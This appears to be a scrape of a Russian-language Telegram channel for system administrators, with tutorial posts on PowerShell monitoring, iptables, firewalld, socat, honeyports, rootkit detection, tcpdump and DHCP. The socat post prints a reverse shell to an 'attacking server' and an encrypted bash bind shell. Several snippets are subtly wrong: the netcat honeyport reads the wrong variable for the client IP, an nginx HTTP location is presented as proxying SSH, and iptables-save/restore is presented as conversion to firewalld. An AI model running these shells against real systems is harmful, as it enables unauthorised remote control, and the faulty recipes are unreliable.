NetworkAdmin.ru – Telegram
NetworkAdmin.ru
4.75K subscribers
226 photos
25 videos
2 files
499 links
Авторский блог про сетевое и системное администрирование.

Сайт: networkadmin.ru
Реклама: @dad_admin
Биржа: https://telega.in/c/networkadminru
Download Telegram
😅 TrafficToll: Легкий способ ограничить сетевую скорость на сервере

Если есть необходимость в ограничении скорости сетевого интерфейса или конкретного процесса на локальном сервере, отличным выбором станет open-source инструмент TrafficToll. Это простой в использовании инструмент, написан он на Python и позволяет гибко управлять сетевым трафиком.

📤 Установка TrafficToll. TrafficToll легко установить через pip. Для Debian и других дистрибутивов на базе Debian процесс установки выглядит так:


apt install python3-pip
pip3 install traffictoll


⚙️ Настройка конфигурации. Для управления используется YAML-конфигурация. Пример минимального конфига:


download: 1mbps
upload: 1mbps
download-minimum: 100kbps
upload-minimum: 100kbps


download и upload: максимальная скорость загрузки и отправки данных.
download-minimum и upload-minimum: минимальная гарантированная скорость.

Создайте файл конфигурации, например, eth0.yaml, и запустите TrafficToll:


tt eth0 eth0.yaml


Теперь сетевой интерфейс eth0 будет ограничен скоростью в 1 МБ/с. Если вы попробуете скачать или загрузить данные через этот интерфейс, скорость будет соответствовать установленным ограничениям.

❗️ Особенности и работа с процессами

TrafficToll позволяет не только ограничивать скорость для интерфейсов, но и применять ограничения к отдельным процессам. Примеры таких настроек вы найдёте в официальной документации инструмента.

Примечание: В конфигурации единицы измерения указываются в нижнем регистре (mbps, kbps), хотя корректное написание подразумевает использование заглавных букв (MBps). Тем не менее, инструмент работает и с текущей нотацией.

TrafficToll отлично подходит для:

Тестирования сетевой производительности.
Ограничения сетевой скорости для задач, требующих определённого уровня контроля.
Постоянных ограничений для конкретных процессов или интерфейсов.

Ссылка на GitHub 👩‍💻

#network #utils

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
🔒 Как настроить автоматический аудит безопасности в Windows с PowerShell

Аудит безопасности в Windows позволяет отслеживать важные события, связанные с входами в систему, изменениями прав пользователей и подозрительной активностью. Настроим автоматический аудит с помощью PowerShell.

1️⃣ Включаем аудит безопасности через PowerShell. Сначала проверим, включён ли аудит событий в системе:


auditpol /get /category:*


Если нужные категории отключены, активируем их:


auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Account Management" /success:enable /failure:enable
auditpol /set /category:"Policy Change" /success:enable /failure:enable


Эти команды включат логирование успешных и неудачных входов, изменений учётных записей и изменений в политиках безопасности.

2️⃣ Просмотр событий аудита в журнале Windows. Логи хранятся в Просмотре событий (Event Viewer) → Журналы Windows → Безопасность.

Вывести последние 10 записей журнала можно так:


Get-WinEvent -LogName Security | Select-Object -First 10


Фильтруем события, например, неудачные входы (Event ID 4625):


Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4625 } | Format-Table TimeCreated, Message -AutoSize


3️⃣ Настройка автоматического оповещения о событиях. Можно настроить автоматическое уведомление о подозрительной активности, например, при 5 неудачных попытках входа.

Скрипт, который отправит уведомление по email:


$events = Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4625 }
if ($events.Count -ge 5) {
Send-MailMessage -To "admin@networkadmin.ru" -From "server@networkadmin.ru" -Subject "Обнаружены попытки взлома" -Body "Более 5 неудачных попыток входа" -SmtpServer "smtp.networkadmin.ru"
}


Этот скрипт можно добавить в планировщик заданий и запускать раз в 5 минут.

4️⃣ Включение расширенного аудита через GPO. Для более детального логирования можно включить расширенный аудит через редактор групповых политик (gpedit.msc):

Конфигурация компьютера → Политики → Конфигурация Windows → Параметры безопасности → Локальные политики → Политика аудита

Настроим аудит:

Аудит входа в систему → Успех/Отказ
Аудит управления учётными записями → Успех
Аудит изменений политики → Успех


Применяем политику:


gpupdate /force


#windows #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22💩1
👁 Удаленный мониторинг компьютеров в сети через PowerShell

PowerShell позволяет удалённо мониторить компьютеры в сети без необходимости физического доступа. С его помощью можно собирать информацию о загруженности процессора, оперативной памяти, состоянии дисков, работающих процессах и многом другом.

1️⃣ Проверка доступности компьютера в сети. Перед началом работы проверяем, онлайн ли машина:


Test-Connection -ComputerName PC-001 -Count 2


Аналог ping, но с возможностью использования в скриптах. Если нужно проверить группу компьютеров:


$computers = @("PC-001", "PC-002", "PC-003")
$computers | ForEach-Object { Test-Connection -ComputerName $_ -Count 1 -Quiet }


Вернёт $true/$false для каждого устройства.

2️⃣ Мониторинг загрузки процессора и памяти. Получить текущую нагрузку процессора на удалённом ПК можно так:


Get-WmiObject Win32_Processor -ComputerName PC-001 | Select-Object LoadPercentage


Для оперативной памяти:


Get-WmiObject Win32_OperatingSystem -ComputerName PC-001 |
Select-Object TotalVisibleMemorySize, FreePhysicalMemory


Вернёт общий объём RAM и количество свободной памяти.

3️⃣ Проверка состояния дисков.


Get-WmiObject Win32_LogicalDisk -ComputerName PC-001 -Filter "DriveType=3" |
Select-Object DeviceID, VolumeName, @{Name="FreeSpace(GB)";Expression={$_.FreeSpace/1GB -as [int]}}


Покажет свободное место в ГБ для каждого логического диска.

4️⃣ Просмотр работающих процессов. Для диагностики зависаний можно посмотреть, какие процессы загружают систему:


Get-Process -ComputerName PC-001 | Sort-Object CPU -Descending | Select-Object -First 10


Топ-10 процессов по загрузке CPU.

Завершить зависший процесс на удалённом ПК:


Invoke-Command -ComputerName PC-001 -ScriptBlock { Stop-Process -Name notepad -Force }


5️⃣ Мониторинг логов событий. Анализ логов поможет выявить ошибки и подозрительные события:


Get-WinEvent -LogName System -ComputerName PC-001 | Select-Object -First 10


Выведет 10 последних событий из журнала System.

Фильтрация только ошибок (Critical, Error, Warning):


Get-WinEvent -LogName System -ComputerName PC-001 |
Where-Object { $_.Level -le 3 } | Select-Object TimeCreated, Id, Message -First 10


6️⃣ Запуск команд на удалённых машинах. Если надо выполнить PowerShell-команду на нескольких ПК сразу:


Invoke-Command -ComputerName PC-001,PC-002 -ScriptBlock { Get-Service | Where-Object {$_.Status -eq 'Stopped'} }


Выведет список остановленных сервисов.

7️⃣ Мониторинг в реальном времени.


while ($true) {
Get-WmiObject Win32_Processor -ComputerName PC-001 | Select-Object LoadPercentage
Start-Sleep -Seconds 5
}


Будет обновлять данные каждые 5 секунд.

#windows #monitoring

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
🐶 Методы скрытия открытых портов на сервере

1️⃣ Использование Port Knocking. Это механизм, при котором порт остаётся закрытым до тех пор, пока клиент не отправит правильную последовательность пакетов.

🔧 Как настроить (пример для iptables):


iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p udp --dport 22 -j DROP
iptables -A INPUT -m recent --rcheck --seconds 60 --name KNOCKED -j ACCEPT
iptables -A INPUT -p tcp --dport 2222 -m recent --set --name KNOCKED -j DROP


🔹 Сначала сервер блокирует порт 22 (SSH).
🔹 Если кто-то стучится в порт 2222, ему временно разрешается доступ к 22-му.
🔹 Без правильного "стука" SSH остаётся невидимым.

Автоматизировать можно с помощью knockd или fwknop.

2️⃣ Маскировка открытых портов (TARPIT, REJECT). Чтобы сбить с толку сканеры, можно замедлить или исказить их работу:

Используем iptables TARPIT (затягивает соединение):


iptables -A INPUT -p tcp --dport 23 -j TARPIT


Теперь порт 23 (Telnet) будет притормаживать атакующих, вместо того чтобы сразу отклонять соединение.

Или можно возвращать ложный REJECT:


iptables -A INPUT -p tcp --dport 22 -j REJECT --reject-with tcp-reset


Вместо стандартного "порта нет", сервер отправит "порт есть, но сбрасывает соединение", что может запутать.

3️⃣ Использование iptables для блокировки сканеров. Если ваш сервер замечает подозрительную активность (сканирование портов, частые подключения), можно автоматически блокировать IP.

Простой бан подозрительных сканеров:


iptables -A INPUT -m recent --rcheck --seconds 60 --name PORTSCAN -j DROP
iptables -A INPUT -p tcp --syn -m recent --set --name PORTSCAN -j DROP


🔹 Если IP подключается слишком часто - он автоматически блокируется на 60 секунд.
🔹 Можно адаптировать под другие сервисы (например, SSH).

5️⃣ Размещение сервисов за реверс-прокси (Cloudflare, Nginx, HAProxy). Если сервис не должен быть доступен напрямую, можно скрыть его за прокси-сервером.

🔧 Настройка Nginx как реверс-прокси для скрытия SSH:


server {
listen 443 ssl;
server_name myserver.com;

location /ssh {
proxy_pass http://127.0.0.1:2222;
}
}


Теперь SSH-доступ будет идти через HTTPS (порт 443), а не через стандартный 22-й.

#security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍161
⬆️ Как повысить редакцию Windows без переустановки

Windows позволяет изменить редакцию с младшей на старшую, сохранив все установленные программы, документы и настройки. Это удобно, ведь зачастую желания тратить время на переустановку операционной системы нет.

📱 Повышение редакции в Windows 10/11

Для десктопных версий Windows (например, переход с Home на Pro) используется встроенная утилита changepk.exe.

Пример команды:


changepk.exe /ProductKey XXXXX-XXXXX-XXXXX-XXXXX-XXXXX


XXXXX-XXXXX-XXXXX-XXXXX-XXXXX — это ключ продукта. Можете использовать ваш лицензионный ключ или универсальный ключ. Универсальный ключ обычно применяется при установке Windows, если вы выбираете пункт "Пропустить ввод ключа".

▪️ Шаги для изменения редакции Windows 10/11:

1. Откройте командную строку с правами администратора.
2. Выполните команду с вашим ключом.
3. Перезагрузите систему по запросу.

▪️ Апгрейд редакции в Windows Server. Для серверных систем (например, Windows Server Standard или Evaluation → Datacenter) используется утилита DISM. Пример процесса:

Узнать текущую редакцию:


DISM /online /Get-CurrentEdition


Посмотрить доступные редакции для апгрейда:


DISM /online /Get-TargetEditions


Выполнить апгрейд до нужной редакции:


DISM /online /Set-Edition:ServerDatacenter /ProductKey:XXXXX-XXXXX-XXXXX-XXXXX-XXXXX /AcceptEula


#utils #windows

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16
Когда сеть настолько серьезная, что даже пакеты проходят с документами

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26😁18🫡7👍4
🗑 Удаление UWP/APPX приложений в Windows 10/11: что стоит знать

Windows 10 и 11 по умолчанию поставляются с предустановленными UWP (Universal Windows Platform) приложениями, такими как погода, новости, карты и другие. Часто эти приложения оказываются ненужными и только занимают место. Вот как можно управлять ими через PowerShell.

▪️ Просмотр установленных UWP приложений. Чтобы увидеть список всех установленных UWP приложений для всех пользователей, выполните команду:


Get-AppxPackage -AllUsers | Select-Object Name, PackageFullName


▪️ Удаление приложений из профилей пользователей. Если нужно удалить конкретное приложение (например, погода):


Get-AppxPackage *Weather* -AllUsers | Remove-AppxPackage -AllUsers


▪️ Удаление приложения из системного хранилища. Чтобы приложение не устанавливалось автоматически для новых пользователей, его нужно удалить из системного хранилища:


Get-AppxProvisionedPackage -Online | Where-Object { $_.PackageName -like "*Weather*" } | Remove-AppxProvisionedPackage -Online


❗️ Осторожно: системные UWP приложения. В Windows 11 многие элементы управления системой также представлены в виде UWP приложений, например: панель «Параметры» и другие различные системные службы.

Удаление таких приложений может привести к проблемам с работой. Чтобы вывести список системных UWP приложений, используйте команду:


Get-AppxPackage | Where-Object { $_.SignatureKind -eq "System" }


#windows

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22
🔹 Скрытие процессов в Linux: как работают rootkits и методы обнаружения

Rootkits - вредоносные программы, которые маскируют своё присутствие в системе. Они могут скрывать файлы, процессы и сетевые соединения, подменять команды и даже обходить антивирусные проверки.

▪️ Как rootkits скрывают процессы?

1. Подмена системных вызовов (syscalls). Rootkits перехватывают вызовы getdents(), readdir(), ps, top, скрывая нужные процессы.
2. Изменение ядра (Kernel Mode Rootkits). Загружаются как модули ядра (.ko файлы) и модифицируют функции ядра, скрывая свою активность.
3. Хук системы /proc. Подменяют содержимое /proc/[PID], скрывая процесс от стандартных утилит.
4. Использование LD_PRELOAD. Библиотеки динамической подгрузки подменяют поведение системных команд без изменения ядра.


▪️ Как обнаружить скрытые процессы?

1️⃣ Проверка /proc вручную


ls -al /proc | grep -vE "^[d-]r--r--r--"


Если процесс не виден стандартными командами (ps aux, top), но есть его директория в /proc — это подозрительно.

2️⃣ Сравнение выводов разных утилит


ps aux | wc -l && ls /proc | grep -E '^[0-9]+$' | wc -l


Числа должны совпадать. Если в /proc больше процессов, чем показывает ps, возможно, система заражена.

3️⃣ Использование утилиты chkrootkit


chkrootkit | grep INFECTED


Простая проверка на известные rootkits.

4️⃣ Использование rkhunter


rkhunter --check


Проверяет системные файлы на несанкционированные изменения.

5️⃣ Анализ ядра и загруженных модулей


lsmod | grep -i rootkit


Некоторые rootkits могут маскироваться, но подозрительные модули можно выявить через lsmod.

▪️ Как защититься?

Использовать SELinux/AppArmor для ограничения доступа к системным ресурсам.
Регулярно проверять целостность файлов (aide, tripwire).
Зарпетить загрузку новых модулей ядра (echo 1 > /proc/sys/kernel/modules_disabled).
Следить за сетевой активностью (netstat -tulnp | grep LISTEN).
Использовать Linux-утилиты безопасности (auditd, Sysmon for Linux).

#linux #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19
✔️ Изменение приоритета процессов в Windows через PowerShell

В Windows можно динамически изменять приоритет процессов, чтобы управлять их загрузкой CPU. Например, если какое-то приложение перегружает систему, можно снизить его приоритет, а важные задачи, наоборот, ускорить.

▪️ Просмотр приоритетов процессов. Чтобы увидеть текущие приоритеты всех запущенных процессов, выполните команду:


Get-WmiObject Win32_Process | Select-Object Name, ProcessId, Priority | Sort-Object Priority -Descending


Приоритет отображается числом:

256 - Реального времени (RealTime)
128 - Высокий (High)
32 - Выше нормального (AboveNormal)
8 - Обычный (Normal)
4 - Ниже нормального (BelowNormal)
1 - Фоновый (Idle)


▪️ Изменение приоритета процесса. Допустим, нужно повысить приоритет процесса notepad.exe до Высокого (High):


(Get-Process notepad).PriorityClass = "High"


Если процессу нужно снизить нагрузку, например, до Ниже нормального (BelowNormal):


(Get-Process notepad).PriorityClass = "BelowNormal"


▪️ Изменение приоритета по PID. Если у вас есть идентификатор процесса (PID), можно изменить его приоритет напрямую:


(Get-Process -Id 1234).PriorityClass = "AboveNormal"


▪️ Автоматическое изменение приоритета. Можно настроить PowerShell-скрипт, который будет снижать приоритет ресурсоёмких процессов, например chrome.exe:


$processes = Get-Process chrome -ErrorAction SilentlyContinue
if ($processes) {
$processes | ForEach-Object { $_.PriorityClass = "BelowNormal" }
}


Добавьте этот скрипт в Планировщик заданий (Task Scheduler), чтобы он запускался автоматически при старте системы.

▪️ Изменение приоритета через WMI. Если Get-Process не срабатывает, можно использовать WMI:


(Get-WmiObject Win32_Process -Filter "Name='notepad.exe'").SetPriority(128)


Здесь 128 - это High, 8 - Normal, 4 - BelowNormal и т. д.

#windows #processes

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥2👎1
🔵 Использование firewalld вместо iptables: плюсы, минусы и примеры настройки

Firewalld - это альтернатива iptables, используемая в большинстве дистрибутивов Linux (RHEL, CentOS, Fedora). Она предоставляет более гибкий и удобный способ управления правилами файрвола. Разберёмся, чем firewalld лучше (или хуже) iptables и как его настраивать.

Плюсы firewalld

🔹 Динамическая настройка - изменения применяются без перезапуска служб и потери соединений.
🔹 Зональная модель безопасности - можно настроить разные уровни защиты для интерфейсов.
🔹 Поддержка rich rules и сервисов - удобнее управлять сложными правилами.
🔹 Интеграция с D-Bus - позволяет управлять файрволом программно.

Минусы firewalld

🔸 Меньший контроль - iptables даёт более низкоуровневый доступ к правилам.
🔸 Сложнее отладки - из-за зональной модели иногда сложно понять, какие правила срабатывают.
🔸 Привычка к iptables - многим администраторам привычнее классическая iptables.

▪️ Примеры настройки firewalld

1️⃣ Открываем порт. Открываем порт 80 для HTTP:


sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --reload


2️⃣ Закрываем порт. Закрываем порт 22 (SSH):


sudo firewall-cmd --permanent --remove-port=22/tcp
sudo firewall-cmd --reload


3️⃣ Добавляем сервис. Firewalld поддерживает предопределённые сервисы. Например, открываем SSH:


sudo firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --reload


Посмотреть список доступных сервисов можно так:


firewall-cmd --get-services


4️⃣ Используем зоны безопасности. Firewalld использует зоны для управления трафиком. Например, перемещаем интерфейс eth0 в зону "public":


sudo firewall-cmd --permanent --zone=public --change-interface=eth0
sudo firewall-cmd --reload


Посмотреть текущую зону интерфейса:


firewall-cmd --get-active-zones


5️⃣ Создаём кастомное правило. Блокируем весь трафик с IP 192.168.1.100:


sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.100" drop'
sudo firewall-cmd --reload


6️⃣ Временные правила. Можно временно открыть порт (например, на 5 минут):


sudo firewall-cmd --add-port=8080/tcp --timeout=300


После истечения времени правило удалится автоматически.

▪️ Конвертация iptables в firewalld. Если у вас уже настроен iptables, можно конвертировать его правила в формат firewalld:


iptables-save > rules.v4
iptables-restore < rules.v4


Затем вручную перенести правила в firewalld, используя firewall-cmd.

#linux #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10👎1
Вы не понимаете, это другое

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁42😢1
🌐 Использование socat вместо netcat для сложных сценариев маршрутизации трафика

Если netcat - это "швейцарский нож" для работы с сетевыми соединениями, то socat - это полноценный "многофункциональный комбайн". Он поддерживает не только TCP и UDP, но и взаимодействие с файлами, сокетами, сериал-портами, TTY, OpenSSL, прокси и многим другим.

Сегодня про то, чем socat круче netcat и как его использовать в продвинутых сценариях.

Преимущества socat перед netcat:

🔹 Поддержка различных типов соединений: TCP, UDP, UNIX-сокеты, файлы, прокси, TTY и др.
🔹 Позволяет делать прокси между разными протоколами.
🔹 Работает с шифрованными соединениями (SSL/TLS).
🔹 Может проксировать соединения через сокеты и туннелировать трафик.
🔹 Гибкость и мощь в одном инструменте.

▪️ Примеры использования socat

1️⃣ Простой TCP-сервер и клиент. Запускаем сервер, который слушает порт 1234:


socat TCP-LISTEN:1234,fork EXEC:/bin/cat


Подключаемся к нему с клиента:


socat - TCP:localhost:1234


Теперь всё, что вводится с клиента, будет отправляться на сервер и обратно.

2️⃣ Прокси TCP-трафика. Пробрасываем все входящие соединения с порта 8080 на 192.168.1.10:9090:


socat TCP-LISTEN:8080,fork TCP:192.168.1.10:9090


Это удобно для организации локального реверс-прокси или переадресации портов.

3️⃣ Реверс-шелл через socat. Открываем обратное соединение с атакующего сервера:


socat TCP:192.168.1.100:4444 EXEC:/bin/bash


На атакующем сервере слушаем соединение:


socat TCP-LISTEN:4444,fork STDOUT


Теперь можно управлять удаленным сервером через shell.

4️⃣ Шифрованное соединение через OpenSSL. Поднимаем зашифрованный сервер:


socat OPENSSL-LISTEN:8443,reuseaddr,cert=server.pem,verify=0 SYSTEM:/bin/bash


Подключаемся к нему с клиента:


socat OPENSSL:192.168.1.10:8443,verify=0 STDOUT


Это полезно, когда нужно создать зашифрованный туннель без сложных VPN.

5️⃣ Перенаправление ввода/вывода в UNIX-сокет. Создаём UNIX-сокет и привязываем его к Bash:


socat UNIX-LISTEN:/tmp/mysocket STDOUT


Подключаемся к нему с другого терминала:


socat - UNIX:/tmp/mysocket


Теперь можно передавать команды и файлы через сокеты.

#linux #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
🗯 Отслеживание изменений в файлах и реестре Windows

Мониторинг изменений в файловой системе и реестре - важная часть безопасности и диагностики в Windows. PowerShell позволяет отслеживать эти изменения в реальном времени без установки стороннего ПО.

▪️ Мониторинг изменений в файлах. Чтобы следить за изменениями в каталоге, можно использовать System.IO.FileSystemWatcher:


$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Users\Public\Documents" # Указываем каталог для мониторинга
$watcher.IncludeSubdirectories = $true # Следить за подпапками
$watcher.EnableRaisingEvents = $true

$action = {
$event = $Event.SourceEventArgs
Write-Host "$(Get-Date) | Файл: $($event.FullPath) | Действие: $($event.ChangeType)"
}

Register-ObjectEvent $watcher "Changed" -Action $action
Register-ObjectEvent $watcher "Created" -Action $action
Register-ObjectEvent $watcher "Deleted" -Action $action
Register-ObjectEvent $watcher "Renamed" -Action $action

Write-Host "Мониторинг запущен. Для остановки нажмите Ctrl+C"


Этот скрипт отслеживает изменения, создание, удаление и переименование файлов в указанной папке.

▪️ Мониторинг изменений в реестре. Для мониторинга реестра используется Register-WMIEvent:


Register-WMIEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_RegistryKey' AND TargetInstance.Name LIKE 'HKEY_LOCAL_MACHINE\\SOFTWARE\\MyApp%'" -Action {
Write-Host "$(Get-Date) | Изменение в реестре: $($Event.SourceEventArgs.NewEvent.TargetInstance.Name)"
}


Этот скрипт проверяет изменения в разделе HKEY_LOCAL_MACHINE\SOFTWARE\MyApp каждую секунду.

⚙️ Готовые инструменты на базе PowerShell. Если нужен постоянный мониторинг, можно использовать:

🔹 Sysmon + PowerShell - логирование через Windows Event Log
🔹 PowerShell DSC (Desired State Configuration) - для отслеживания изменений в конфигурации

#windows #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19
☄️ Важное обновление!

В WinRar добавили темную тему.

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁26👍12🍾6🔥5
🔎 Как работают Honeyports и ловушки для сканеров

Сканирование портов - стандартный инструмент для разведки, используемый как администраторами, так и злоумышленниками. Honeyports - это техника создания ловушек для сканеров, позволяющая выявлять потенциальные угрозы и даже блокировать их.

Что такое Honeyport?

Honeyport - это фейковый открытый порт, который выглядит для злоумышленника как настоящая служба. Однако при попытке взаимодействия с ним можно:

🔹 Логировать IP-адрес атакующего
🔹 Ограничивать или блокировать доступ через файрвол
🔹 Перенаправлять атакующего в песочницу

📱 Как настроить Honeyport в Linux с использованием netcat. Простейший honeyport можно создать с помощью netcat:


nc -lvp 8080 | tee -a /var/log/honeyport.log


Теперь при подключении к порту 8080 все введенные данные будут записываться в лог.
Если добавить автоматическую блокировку через iptables:


nc -lvp 8080 | while read line; do iptables -A INPUT -s $(echo $SSH_CLIENT | awk '{print $1}') -j DROP; done


Это заблокирует IP атакующего после первой попытки взаимодействия.

😥 Honeyports в Windows с PowerShell. В Windows можно создать honeyport и блокировать IP-адрес злоумышленника с помощью PowerShell:


$port = 3389
while ($true) {
$listener = [System.Net.Sockets.TcpListener]$port
$listener.Start()
$client = $listener.AcceptTcpClient()
$ip = $client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "Атакующий: $ip"
New-NetFirewallRule -DisplayName "Block $ip" -Direction Inbound -RemoteAddress $ip -Action Block
$listener.Stop()
}


Этот скрипт создает ловушку на 3389 порту (RDP) и автоматически блокирует.

▪️ Готовые решения для honeypots. Для более продвинутых сценариев можно использовать:

🔹 Cowrie - эмуляция SSH/Telnet с записью действий атакующего
🔹 Dionaea - имитация уязвимых сервисов
🔹 Kippo - honeypot для SSH

#linux #windows #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
🖥 Мониторинг сети с помощью BPF и tcpdump: продвинутый анализ трафика

При анализе сетевого трафика в Linux часто используют tcpdump, но его мощь раскрывается по-настоящему при использовании Berkeley Packet Filter (BPF). BPF позволяет фильтровать пакеты на уровне ядра, отбрасывая ненужные и снижая нагрузку на систему.

▪️ Основные принципы работы

BPF действует как программируемый фильтр, который определяет, какие пакеты должны быть обработаны и переданы в tcpdump. Это ускоряет анализ и снижает нагрузку на CPU.

▪️ Использование BPF в tcpdump

⭐️ Фильтрация по IP-адресу


tcpdump -i eth0 'host 192.168.1.100'


Перехватывает трафик, где участвует 192.168.1.100.

⭐️ Фильтрация по порту


tcpdump -i eth0 'port 443'


Выводит только HTTPS-трафик.

⭐️ Фильтрация по протоколу


tcpdump -i eth0 'tcp'


Отбирает только TCP-пакеты.

⭐️ Фильтрация по флагам TCP. Например, вывод только SYN-пакетов:


tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'


Полезно для анализа попыток соединения.

⭐️ Анализ пакетов в hex-формате


tcpdump -i eth0 -X 'host 10.0.0.1'


Показывает содержимое пакетов в удобном виде.

⭐️ Создание сложных фильтров. Можно комбинировать фильтры, например, анализировать только HTTP-запросы от конкретного IP:


tcpdump -i eth0 'tcp and port 80 and src host 192.168.1.10'


#linux #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
⬇️ Быстрый анализ занятого места на диске в Linux

Когда нужно быстро определить, кто и где занимает больше всего места на диске, есть несколько удобных способов. Делюсь тремя вариантами, которые использую сам:

1️⃣ Ncdu – удобный интерфейс. Программа ncdu (NCurses Disk Usage) позволяет наглядно и удобно просматривать размер директорий. Она есть в репозиториях большинства дистрибутивов:


# apt install ncdu # Для Debian/Ubuntu
# yum install ncdu # Для CentOS/RHEL
# pacman -S ncdu # Для Arch Linux


Запустить можно командой ncdu /, после чего появится интерфейс, в котором легко перемещаться по папкам. Удобно, если приходится часто мониторить дисковое пространство.

2️⃣ Midnight Commander – быстрое сравнение размеров. Если у вас установлен MC, можно быстро оценить размер нескольких папок. Просто выделите их и нажмите Ctrl + Пробел. Midnight Commander ставлю на все серверы, так что этот способ использую постоянно.

3️⃣ du + sort – консольный анализ. Стандартная команда du отлично подходит для анализа дискового пространства:


du -hs * | sort -hr | head -10


Этот однострочник покажет 10 самых "тяжелых" директорий в текущем каталоге.
Если нужно логировать результаты, можно использовать скрипт:


#!/bin/bash

echo "==================================" >> dir_size.txt
echo "Dirs size $(date +"%Y-%m-%d_%H-%M")" >> dir_size.txt
echo "==================================" >> dir_size.txt
du -hs * | sort -hr | head -10 >> dir_size.txt


Так можно отслеживать изменения занятого места во времени.

#linux #storage

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
Показалось…Наверное…🙂

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁18👍4🤔1🤡1
✍️ Как работает DHCP и почему его стоит изучить глубже

DHCP (Dynamic Host Configuration Protocol) - один из самых базовых сетевых протоколов, который знаком любому администратору. Однако, если его не изучать специально, можно упускать важные нюансы.

🔵 Широковещательный домен

Клиент отправляет запрос на получение настроек широковещательно, поэтому сервер должен находиться в том же широковещательном домене. Если сеть сегментирована, то используется DHCP Relay, который пересылает запросы между сегментами.

🔵 Порты DHCP

Сервер слушает на UDP 67
Клиент принимает ответы на UDP 68

🔵 Что раздает DHCP-сервер

Помимо IP-адреса, маски и шлюза, сервер может передавать множество параметров:

DNS-серверы
Статические маршруты
Адрес TFTP-сервера (например, для PXE-загрузки)
MTU, часовой пояс, список NTP-серверов и многое другое

🔵 Механизм аренды IP-адресов

Когда клиент получает IP-адрес, он арендует его на определенное время.
По истечении половины аренды клиент пытается продлить ее
Если продление не удалось, адрес остается в использовании до конца аренды
После истечения аренды клиент снова ищет сервер для получения нового IP

🔵 Назначение IP-адресов клиентам. DHCP-сервер может назначать адреса:

По MAC-адресу
По ClientID (Machine-ID), который в ряде случаев имеет приоритет

🔵 Последовательность обмена DHCP-сообщениями

1️⃣ DHCPDISCOVER – клиент ищет DHCP-сервер
2️⃣ DHCPOFFER – сервер предлагает параметры
3️⃣ DHCPREQUEST – клиент выбирает и запрашивает конфигурацию
4️⃣ DHCPACK – сервер подтверждает выделенный IP

🔵 Конфликты IP-адресов

DHCP-сервер не гарантирует, что в сети не будет конфликтов IP-адресов. Он может проверять доступность IP перед выдачей, но это не исключает коллизий.

⭐️ DHCP Snooping – защита от «левых» DHCP-серверов

Иногда в сети появляется «нелегальный» DHCP-сервер. Например, сотрудник подключает свой домашний роутер к офисной сети, и часть клиентов начинает получать IP-адреса от него. В результате доступ в сеть ломается.

Решить проблему помогает DHCP Snooping - механизм защиты на уровне коммутаторов:

Коммутатор фильтрует DHCP-трафик и отбрасывает запросы с неавторизованных портов
DHCP-серверы доверяются только на определенных портах
Это предотвращает работу поддельных DHCP-серверов в сети

#network #DHCP

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥2
Не мы такие, жизнь такая 😐

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16😁6😢2
🖨️ Windows сама меняет принтер по умолчанию? Исправляем!

Начиная с Windows 10 1511, Microsoft изменила логику выбора принтера по умолчанию. Теперь система автоматически назначает последний использованный принтер в текущем местоположении.

Разбираемся, как отключить автоназначение принтера в Windows. Запретить системе менять принтер по умолчанию несколькими способами:

1️⃣ Через параметры Windows:

Отключите опцию «Let Windows manage my default printer» в Настройки → Устройства → Принтеры и сканеры.

2️⃣ Через реестр: Выполните команду:


REG ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LegacyDefaultPrinterMode /t REG_DWORD /d 1 /f


3️⃣ Через групповую политику (GPO):

Настройте параметр «Turn off Windows default printer management» в разделе:

User Configuration → Administrative Templates → Control Panel → Printers

После применения настроек Windows больше не будет менять принтер автоматически

#windows #printers

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🤡3🔥1